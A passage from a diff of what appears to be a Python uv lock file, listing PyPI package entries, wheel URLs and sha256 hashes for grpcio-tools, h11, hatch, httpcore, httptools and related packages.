+    { url = "https://files.pythonhosted.org/packages/f5/68/67f4947ed55d2e69f2cc199ab9fd85e0a0034d813bbeef84df6d2ba4d4b7/grpcio-1.80.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:31b9ac4ad1aa28ffee5503821fafd09e4da0a261ce1c1281c6c8da0423c83b6e", size = 7828477, upload-time = "2026-03-30T08:48:32.054Z" },
+    { url = "https://files.pythonhosted.org/packages/44/b6/8d4096691b2e385e8271911a0de4f35f0a6c7d05aff7098e296c3de86939/grpcio-1.80.0-cp314-cp314-win32.whl", hash = "sha256:367ce30ba67d05e0592470428f0ec1c31714cab9ef19b8f2e37be1f4c7d32fae", size = 4218563, upload-time = "2026-03-30T08:48:34.538Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/8c/bbe6baf2557262834f2070cf668515fa308b2d38a4bbf771f8f7872a7036/grpcio-1.80.0-cp314-cp314-win_amd64.whl", hash = "sha256:3b01e1f5464c583d2f567b2e46ff0d516ef979978f72091fd81f5ab7fa6e2e7f", size = 5019457, upload-time = "2026-03-30T08:48:37.308Z" },
+]
+
+[[package]]
+name = "grpcio-health-checking"
+version = "1.80.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "grpcio", marker = "python_full_version >= '3.11'" },
+    { name = "protobuf", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d1/a2/aa3cc47f19c03f8e5287b987317059753141a3af8f66b96d5a64b3be10b8/grpcio_health_checking-1.80.0.tar.gz", hash = "sha256:2cc5f08bc8b816b8655ab6f59c71450063ba20766d31e21a493e912e3560c8b1", size = 17117, upload-time = "2026-03-30T08:54:41.899Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/5e/d1/d97eb30386feff6ac2a662620e2ed68be352e9a182d62e06213db694906a/grpcio_health_checking-1.80.0-py3-none-any.whl", hash = "sha256:d804d4549cbb71e90ca2c7bf0c501060135dfd220aca8e2c54f96d3e79e210e5", size = 19125, upload-time = "2026-03-30T08:53:44.835Z" },
+]
+
+[[package]]
+name = "grpcio-tools"
+version = "1.80.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "grpcio", marker = "python_full_version >= '3.11'" },
+    { name = "protobuf", marker = "python_full_version >= '3.11'" },
+    { name = "setuptools", marker = "python_full_version >= '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/94/c8/1223f29c84a143ae9a56c084fc96894de0ba84b6e8d60a26241abd81d278/grpcio_tools-1.80.0.tar.gz", hash = "sha256:26052b19c6ce0dcf52d1024496aea3e2bdfa864159f06dc7b97b22d041a94b26", size = 6133212, upload-time = "2026-03-30T08:52:39.077Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7a/54/1de67f5080da305a258758a8deb33f85666fa759f56785042a80b114a53f/grpcio_tools-1.80.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:727477b9afa4b53f5ec70cafb41c3965d893835e0d4ea9b542fe3d0d005602bf", size = 2549601, upload-time = "2026-03-30T08:50:09.498Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/b4/6d57ea199c5b880d182a2234aafa9a686f9c54c708ea7be75bd19d5aa825/grpcio_tools-1.80.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:85fe8d15f146c62cb76f38d963e256392d287442b9232717d30ae9e3bbda9bc3", size = 5712717, upload-time = "2026-03-30T08:50:15.028Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/1a/5505ee2277d368b409c796c78f22ea34a2a517b7d16755247efd663dc7af/grpcio_tools-1.80.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:95f0fffb5ca00519f3b602f938169b4dfa04b165e03258323965a9dfe8cc4d80", size = 2595941, upload-time = "2026-03-30T08:50:17.299Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/39/7fc1d16d8b767805079d76365d73e82c88dfaf179034473dbc9fbccedb77/grpcio_tools-1.80.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:7a0106af212748823a6ebd8ffbd9043414216f47cae3835f3187de0a62c415d3", size = 2909304, upload-time = "2026-03-30T08:50:19.485Z" },
+    { url = "https://files.pythonhosted.org/packages/97/d8/276ee759755d8f34f2ca5e9d2debd1a59f29f66059fb790bc369f2236c26/grpcio_tools-1.80.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:31fd01a4038b5dfc4ec79504a17061344f670f851833411717fef66920f13cd7", size = 2660269, upload-time = "2026-03-30T08:50:21.266Z" },
+    { url = "https://files.pythonhosted.org/packages/51/04/a6bb47942ad52901d777a649324d3203cf19d487f1d446263637f7a5bf12/grpcio_tools-1.80.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:57da9e19607fac4a01c48ead333c0dd15d91ed38794dce1194eda308f73e2038", size = 3109798, upload-time = "2026-03-30T08:50:23.267Z" },
+    { url = "https://files.pythonhosted.org/packages/be/50/7ee69b2919916739787d725f205b878e8d1619dd30422b8278e324664669/grpcio_tools-1.80.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:90968f751851abb8b145593609800fa70c837e1c93ba0792c480b1c8d8bc29ef", size = 3658930, upload-time = "2026-03-30T08:50:25.458Z" },
+    { url = "https://files.pythonhosted.org/packages/92/61/6d50783092b0e8bbcb04152d5388bf50ecf3ea2f783d95288ff6c3bb00fa/grpcio_tools-1.80.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b69dc5d6376ab43406304d1e2fc61ccf960b287d4325d77c3d45448c37a9d2da", size = 3326562, upload-time = "2026-03-30T08:50:27.809Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/58/d272ba549f6b1f0d8504f5fc4cd0a296f2c495a64d6e987fe871c4151557/grpcio_tools-1.80.0-cp310-cp310-win32.whl", hash = "sha256:3e8dcfebe34cb54df095de3d5871a4562a85a29f26d0f8bb41ee2c3dcfb11c3c", size = 997620, upload-time = "2026-03-30T08:50:29.959Z" },
+    { url = "https://files.pythonhosted.org/packages/70/5f/9f45a9946a0298711c72ca48b2c1f46a7d0c207a44cd3e4bb59d04556ba3/grpcio_tools-1.80.0-cp310-cp310-win_amd64.whl", hash = "sha256:fc622ed4ca400695f41c9eae3266276c6ba007e4c28164ce53b44e7ccc5e492b", size = 1162466, upload-time = "2026-03-30T08:50:32.242Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/d7/225dc91e6cb4f8d4830f16a478a468e9c6f342dcdf8cacc3772cc1d1f607/grpcio_tools-1.80.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:1c43e5c768578fe0c6de3dbfaabe64af642951e1aa05c487cacedda63fa6c6c4", size = 2549937, upload-time = "2026-03-30T08:50:34.651Z" },
+    { url = "https://files.pythonhosted.org/packages/97/3d/a3684cb7677f3bea8db434eae02a9ce30135d7a268cd473b1bc8041c4722/grpcio_tools-1.80.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:a225348456575f3ac7851d8e23163195e76d2a905ee340cf73f33da62fba08aa", size = 5713099, upload-time = "2026-03-30T08:50:37.158Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/81/5665c697173ec346076358bfbfed0f7386825852494593ca14386478dfee/grpcio_tools-1.80.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a9396f02820d3f51c368c2c9dee15c55c77636c91be48a4d5c702e98d6fe0fdc", size = 2595776, upload-time = "2026-03-30T08:50:39.087Z" },
+    { url = "https://files.pythonhosted.org/packages/03/4f/fb81384f08a8226fa079972ba88272ac6277581fc72e8ab234d74c7e065b/grpcio_tools-1.80.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:797c08460cae16b402326eac329aec720dccf45c9f9279b95a352792eb53cf0f", size = 2909144, upload-time = "2026-03-30T08:50:40.922Z" },
+    { url = "https://files.pythonhosted.org/packages/4d/9c/c957618f1c2a3195ecf5e83b03edcb364c2c1391f74183cb76e5763fa536/grpcio_tools-1.80.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1872a867eb6217de19edb70a4ce4a374ced9d94293533dfd42fa649713f55bf4", size = 2660477, upload-time = "2026-03-30T08:50:42.766Z" },
+    { url = "https://files.pythonhosted.org/packages/42/c7/23913da184febfd4eaf04de256a26bc5ff0411a5feb753e2adcff10fa86a/grpcio_tools-1.80.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db122ba5ee357e3bb14e8944d69bbebcbdae91d5eace29ed4df3edc53cbc6528", size = 3110164, upload-time = "2026-03-30T08:50:44.761Z" },
+    { url = "https://files.pythonhosted.org/packages/af/fa/b25ed85ebdb0396910eaa250b1346d75527d22fca586265416bd4330dcd5/grpcio_tools-1.80.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ddefd48c227e6f4d640fe576fac5fb2c4a8898196f513604c8ec7671b3b3d421", size = 3658988, upload-time = "2026-03-30T08:50:47.546Z" },
+    { url = "https://files.pythonhosted.org/packages/60/85/2a55147cc9645e2ed777d1afcd2dc68cb34ba6f6c726bd4378ddb001a5ea/grpcio_tools-1.80.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:970ec058fa469dd6dae6ebc687501c5da670d95dead75f62f5b0933dce2c9794", size = 3326662, upload-time = "2026-03-30T08:50:49.59Z" },
+    { url = "https://files.pythonhosted.org/packages/68/ed/b05bee2a992e6f9bda81909692ea920d0896cfa05c5c9dd77ba03f2d22fb/grpcio_tools-1.80.0-cp311-cp311-win32.whl", hash = "sha256:526b4402d47a0e9b31cd6087e42b7674784617916cc73c764e0bc35ed41b4ee5", size = 997969, upload-time = "2026-03-30T08:50:51.539Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/9a/cb50c8270e2f6285ff2761130ae257ac4e51789ded4b9d9710ce0381814d/grpcio_tools-1.80.0-cp311-cp311-win_amd64.whl", hash = "sha256:ee101ecda7231770f6a5da1024a9a6ed587a7785f8fe23ab8283f4a1acb3ffe6", size = 1162742, upload-time = "2026-03-30T08:50:54.232Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/b9/65929df8c9614792db900a8e45d4997fadbd1734c827da3f0eb1f2fe4866/grpcio_tools-1.80.0-cp312-cp312-linux_armv7l.whl", hash = "sha256:d19d5a8244311947b96f749c417b32d144641c6953f1164824579e1f0a51d040", size = 2550856, upload-time = "2026-03-30T08:50:57.3Z" },
+    { url = "https://files.pythonhosted.org/packages/28/17/af1557544d68d1aeca9d9ea53ed16524022d521fec6ba334ab3530e9c1a6/grpcio_tools-1.80.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:fb599a3dc89ed1bb24489a2724b2f6dd4cddbbf0f7bdd69c073477bab0dc7554", size = 5710883, upload-time = "2026-03-30T08:51:00.077Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/48/aa9b4f7519ca972bc40d315d5c28f05ca28fa08de13d4e8b69f551b798ab/grpcio_tools-1.80.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:623ee31fc2ff7df9a987b4f3d139c30af17ce46a861ae0e25fb8c112daa32dd8", size = 2598004, upload-time = "2026-03-30T08:51:02.102Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/b8/b01371c119924b3beca1fe3f047b1bc2cdc66b3d37f0f3acc9d10c567a43/grpcio_tools-1.80.0-cp312-cp312-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:b46570a68378539ee2b75a5a43202561f8d753c832798b1047099e3c551cf5d6", size = 2909568, upload-time = "2026-03-30T08:51:04.159Z" },
+    { url = "https://files.pythonhosted.org/packages/4f/7c/1108f7bdb58475a7e701ec89b55eb494538b6e76acd211ba0d4cc5fd28e8/grpcio_tools-1.80.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51caf99c28999e7e0f97e9cea190c1405b7681a57bb2e0631205accd92b43fa4", size = 2660938, upload-time = "2026-03-30T08:51:06.126Z" },
+    { url = "https://files.pythonhosted.org/packages/67/59/d1c0063d4cd3b85363c7044ff3e5159d6d5df96e2692a9a5312d9c8cb290/grpcio_tools-1.80.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:cdaa1c9aa8d3a87891a96700cadd29beec214711d6522818d207277f6452567c", size = 3113814, upload-time = "2026-03-30T08:51:08.834Z" },
+    { url = "https://files.pythonhosted.org/packages/76/21/18d34a4efe524c903cf66b0cfa5260d81f277b6ae668b647edf795df9ce5/grpcio_tools-1.80.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:3399b5fd7b59bcffd59c6b9975a969d9f37a3c87f3e3d63c3a09c147907acb0d", size = 3662793, upload-time = "2026-03-30T08:51:11.094Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/40/cf2d9295a6bd593244ea703858f8fc2efd315046ca3ef7c6f9ebc5b810fa/grpcio_tools-1.80.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9c6abc08d3485b2aac99bb58afcd31dc6cd4316ce36cf263ff09cb6df15f287f", size = 3329149, upload-time = "2026-03-30T08:51:13.066Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/1d/fc34b32167966df20d69429b71dfca83c48434b047a5ac4fd6cd91ca4eed/grpcio_tools-1.80.0-cp312-cp312-win32.whl", hash = "sha256:18c51e07652ac7386fcdbd11866f8d55a795de073337c12447b5805575339f74", size = 997519, upload-time = "2026-03-30T08:51:14.87Z" },
+    { url = "https://files.pythonhosted.org/packages/91/98/6d6563cdf51085b75f8ec24605c6f2ce84197571878ca8ab4af949c6be2d/grpcio_tools-1.80.0-cp312-cp312-win_amd64.whl", hash = "sha256:ac6fdd42d5bb18f0d903a067e2825be172deff70cf197164b6f65676cb506c9b", size = 1162407, upload-time = "2026-03-30T08:51:16.793Z" },
+    { url = "https://files.pythonhosted.org/packages/44/d9/f7887a4805939e9a85d03744b66fc02575dc1df3c3e8b4d9ec000ee7a33d/grpcio_tools-1.80.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:e7046837859bbfd10b01786056145480155c16b222c9e209215b68d3be13060e", size = 2550319, upload-time = "2026-03-30T08:51:19.117Z" },
+    { url = "https://files.pythonhosted.org/packages/57/5a/c8a05b32bd7203f1b9f4c0151090a2d6179d6c97692d32f2066dc29c67a6/grpcio_tools-1.80.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:a447f28958a8fe84ff0d9d3d9473868feb27ee4a9c9c805e66f5b670121cec59", size = 5709681, upload-time = "2026-03-30T08:51:21.991Z" },
+    { url = "https://files.pythonhosted.org/packages/82/6b/794350ed645c12c310008f97068f6a6fd927150b0d0d08aad1d909e880b1/grpcio_tools-1.80.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:75f00450e08fe648ad8a1eeb25bc52219679d54cdd02f04dfdddc747309d83f6", size = 2596820, upload-time = "2026-03-30T08:51:24.323Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/b2/b39e7b79f7c878135e0784a53cd7260ee77260c8c7f2c9e46bca8e05d017/grpcio_tools-1.80.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:3db830eaff1f2c2797328f2fa86c9dcdbd7d81af573a68db81e27afa2182a611", size = 2909193, upload-time = "2026-03-30T08:51:27.025Z" },
+    { url = "https://files.pythonhosted.org/packages/10/f3/abe089b058f87f9910c9a458409505cbeb0b3e1c2d993a79721d02ee6a32/grpcio_tools-1.80.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7982b5fe42f012686b667dda12916884de95c4b1c65ff64371fb7232a1474b23", size = 2660197, upload-time = "2026-03-30T08:51:29.392Z" },
+    { url = "https://files.pythonhosted.org/packages/09/c3/3f7806ad8b731d8a89fe3c6ed496473abd1ef4c9c42c9e9a8836ce96e377/grpcio_tools-1.80.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6451b3f4eb52d12c7f32d04bf8e0185f80521f3f088ad04b8d222b3a4819c71e", size = 3113144, upload-time = "2026-03-30T08:51:31.671Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/f5/415ef205e0b7e75d2a2005df6120145c4f02fda28d7b3715b55d924fe1a4/grpcio_tools-1.80.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:258bc30654a9a2236be4ca8e2ad443e2ac6db7c8cc20454d34cce60265922726", size = 3661897, upload-time = "2026-03-30T08:51:34.849Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/d3/2ad54764c2a9547080dd8518f4a4dc7899c7e6e747a1b1de542ce6a12066/grpcio_tools-1.80.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:865a2b8e6334c838976ab02a322cbd55c863d2eaf3c1e1a0255883c63996772a", size = 3328786, upload-time = "2026-03-30T08:51:37.265Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/63/23ab7db01f9630ab4f3742a2fc9fbff38b0cfc30c976114f913950664a75/grpcio_tools-1.80.0-cp313-cp313-win32.whl", hash = "sha256:f760ac1722f33e774814c37b6aa0444143f612e85088ead7447a0e9cd306a1f1", size = 997087, upload-time = "2026-03-30T08:51:39.137Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/af/b1c1c4423fb49cb7c8e9d2c02196b038c44160b7028b425466743c6c81fa/grpcio_tools-1.80.0-cp313-cp313-win_amd64.whl", hash = "sha256:7843b9ac6ff8ca508424d0dd968bd9a1a4559967e4a290f26be5bd6f04af2234", size = 1162167, upload-time = "2026-03-30T08:51:41.498Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/44/7beeee2348f9f412804f5bf80b7d13b81d522bf926a338ae3da46b2213b7/grpcio_tools-1.80.0-cp314-cp314-linux_armv7l.whl", hash = "sha256:12f950470449dbeec78317dbc090add7a00eb6ca812af7b0538ab7441e0a42c3", size = 2550303, upload-time = "2026-03-30T08:51:44.373Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/aa/f77dd85409a1855f8c6319ffc69d81e8c3ffe122ee3a7136653e1991d8b6/grpcio_tools-1.80.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d3f9a376a29c9adf62bb56f7ff5bc81eb4abeaf53d1e7dde5015564832901a51", size = 5709778, upload-time = "2026-03-30T08:51:47.112Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/7c/ab7af4883ebdfdc228b853de89fed409703955e8d47285b321a5794856bd/grpcio_tools-1.80.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1ba1ffbf2cff71533615e2c5a138ed5569611eec9ae7f9c67b8898e127b54ac0", size = 2597928, upload-time = "2026-03-30T08:51:49.494Z" },
+    { url = "https://files.pythonhosted.org/packages/22/e8/4381a963d472e3ab6690ba067ed2b1f1abf8518b10f402678bd2dcb79a54/grpcio_tools-1.80.0-cp314-cp314-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:13f60f8d9397c514c6745a967d22b5c8c698347e88deebca1ff2e1b94555e450", size = 2909333, upload-time = "2026-03-30T08:51:52.124Z" },
+    { url = "https://files.pythonhosted.org/packages/94/cb/356b5fdf79dd99455b425fb16302fe60995554ceb721afbf3cf770a19208/grpcio_tools-1.80.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:88d77bad5dd3cd5e6f952c4ecdd0ee33e0c02ecfc2e4b0cbee3391ac19e0a431", size = 2660217, upload-time = "2026-03-30T08:51:55.066Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/d7/1752018cc2c36b2c5612051379e2e5f59f2dbe612de23e817d2f066a9487/grpcio_tools-1.80.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:017945c3e98a4ed1c4e21399781b4137fc08dfc1f802c8ace2e64ef52d32b142", size = 3113896, upload-time = "2026-03-30T08:51:57.3Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/17/695bbe454f70df35c03e22b48c5314683b913d3e6ed35ec90d065418c1ab/grpcio_tools-1.80.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a33e265d4db803495007a6c623eafb0f6b9bb123ff4a0af89e44567dad809b88", size = 3661950, upload-time = "2026-03-30T08:51:59.867Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/d0/533d87629ec823c02c9169ee20228f734c264b209dcdf55268b5a14cde0a/grpcio_tools-1.80.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6c129da370c5f85f569be2e545317dda786a60dd51d7deea29b03b0c05f6aac3", size = 3328755, upload-time = "2026-03-30T08:52:02.942Z" },
+    { url = "https://files.pythonhosted.org/packages/08/a1/504d7838770c73a9761e8a8ff4869dba1146b44f297ff0ac6641481942d3/grpcio_tools-1.80.0-cp314-cp314-win32.whl", hash = "sha256:25742de5958ae4325249a37e724e7c0e5120f8e302a24a977ebd1737b48a5e97", size = 1019620, upload-time = "2026-03-30T08:52:05.342Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/75/8b7cd281c5cdfb4ca2c308f7e9b2799bab2be6e7a9e9212ea5a82e2aecd4/grpcio_tools-1.80.0-cp314-cp314-win_amd64.whl", hash = "sha256:bbf8eeef78fda1966f732f79c1c802fadd5cfd203d845d2af4d314d18569069c", size = 1194210, upload-time = "2026-03-30T08:52:08.105Z" },
+]
+
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "hatch"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "backports-zstd", marker = "python_full_version < '3.14'" },
+    { name = "click" },
+    { name = "distro", marker = "sys_platform == 'linux'" },
+    { name = "hatchling" },
+    { name = "httpx2" },
+    { name = "hyperlink" },
+    { name = "keyring" },
+    { name = "packaging" },
+    { name = "pexpect" },
+    { name = "platformdirs" },
+    { name = "pyproject-hooks" },
+    { name = "python-discovery" },
+    { name = "rich" },
+    { name = "shellingham" },
+    { name = "tomli-w" },
+    { name = "tomlkit" },
+    { name = "userpath" },
+    { name = "uv" },
+    { name = "virtualenv" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e4/0c/7ae1ace8d19f36624cfbbffe227169d670805f8a50a20ce65a4be14c2924/hatch-1.17.0.tar.gz", hash = "sha256:2bbbf4aa8f6fda71a61fc24c22619261327b53d272b22d4cc16f4a6e9a8592bb", size = 5250272, upload-time = "2026-06-02T00:11:58.603Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e4/bd/0a7f877ec78e6910868e39a68c2a1964fa0737a4008ee1f3fd7e2fd8915f/hatch-1.17.0-py3-none-any.whl", hash = "sha256:cb742cc9113085c7dc88fde5a54e594846d8395102ae86e32179d5e72ff3c589", size = 161751, upload-time = "2026-06-02T00:11:56.922Z" },
+]
+
+[[package]]
+name = "hatchling"
+version = "1.29.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "packaging" },
+    { name = "pathspec" },
+    { name = "pluggy" },
+    { name = "tomli", marker = "python_full_version < '3.11'" },
+    { name = "trove-classifiers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/cf/9c/b4cfe330cd4f49cff17fd771154730555fa4123beb7f292cf0098b4e6c20/hatchling-1.29.0.tar.gz", hash = "sha256:793c31816d952cee405b83488ce001c719f325d9cda69f1fc4cd750527640ea6", size = 55656, upload-time = "2026-02-23T19:42:06.539Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d3/8a/44032265776062a89171285ede55a0bdaadc8ac00f27f0512a71a9e3e1c8/hatchling-1.29.0-py3-none-any.whl", hash = "sha256:50af9343281f34785fab12da82e445ed987a6efb34fd8c2fc0f6e6630dbcc1b0", size = 76356, upload-time = "2026-02-23T19:42:05.197Z" },
+]
+
+[[package]]
+name = "httpcore"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+]
+
+[[package]]
+name = "httpcore2"
+version = "2.5.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "h11" },
+    { name = "truststore" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/47/06/5c12df521b5322fb1114a83d46911b2fbcb8855ddb3a635f11c01a214af5/httpcore2-2.5.0.tar.gz", hash = "sha256:88aa170137c17328d5ac44234f9fd10706466d5fb347f3edac4d39b91137b09d", size = 64808, upload-time = "2026-06-25T14:16:56.472Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c9/a1/7564199d1a8728fe737b0a72e5b3f8d92dfe085a74ddf7cdd83bce5f206d/httpcore2-2.5.0-py3-none-any.whl", hash = "sha256:5ce35188de461d31e8d000bfb8ef8bf22c6c16587a211e5571deaa5e9bdf842a", size = 80330, upload-time = "2026-06-25T14:16:53.634Z" },
+]
+
+[[package]]
+name = "httptools"
+version = "0.7.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b5/46/120a669232c7bdedb9d52d4aeae7e6c7dfe151e99dc70802e2fc7a5e1993/httptools-0.7.1.tar.gz", hash = "sha256:abd72556974f8e7c74a259655924a717a2365b236c882c3f6f8a45fe94703ac9", size = 258961, upload-time = "2025-10-10T03:55:08.559Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c7/e5/c07e0bcf4ec8db8164e9f6738c048b2e66aabf30e7506f440c4cc6953f60/httptools-0.7.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:11d01b0ff1fe02c4c32d60af61a4d613b74fad069e47e06e9067758c01e9ac78", size = 204531, upload-time = "2025-10-10T03:54:20.887Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/4f/35e3a63f863a659f92ffd92bef131f3e81cf849af26e6435b49bd9f6f751/httptools-0.7.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:84d86c1e5afdc479a6fdabf570be0d3eb791df0ae727e8dbc0259ed1249998d4", size = 109408, upload-time = "2025-10-10T03:54:22.455Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/71/b0a9193641d9e2471ac541d3b1b869538a5fb6419d52fd2669fa9c79e4b8/httptools-0.7.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c8c751014e13d88d2be5f5f14fc8b89612fcfa92a9cc480f2bc1598357a23a05", size = 440889, upload-time = "2025-10-10T03:54:23.753Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/d9/2e34811397b76718750fea44658cb0205b84566e895192115252e008b152/httptools-0.7.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:654968cb6b6c77e37b832a9be3d3ecabb243bbe7a0b8f65fbc5b6b04c8fcabed", size = 440460, upload-time = "2025-10-10T03:54:25.313Z" },
+    { url = "https://files.pythonhosted.org/packages/01/3f/a04626ebeacc489866bb4d82362c0657b2262bef381d68310134be7f40bb/httptools-0.7.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b580968316348b474b020edf3988eecd5d6eec4634ee6561e72ae3a2a0e00a8a", size = 425267, upload-time = "2025-10-10T03:54:26.81Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/99/adcd4f66614db627b587627c8ad6f4c55f18881549bab10ecf180562e7b9/httptools-0.7.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d496e2f5245319da9d764296e86c5bb6fcf0cf7a8806d3d000717a889c8c0b7b", size = 424429, upload-time = "2025-10-10T03:54:28.174Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/08/17e07e8d89ab8f343c134616d72eebfe03798835058e2ab579dcc8353c06/httptools-0.7.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:474d3b7ab469fefcca3697a10d11a32ee2b9573250206ba1e50d5980910da657", size = 206521, upload-time = "2025-10-10T03:54:31.002Z" },
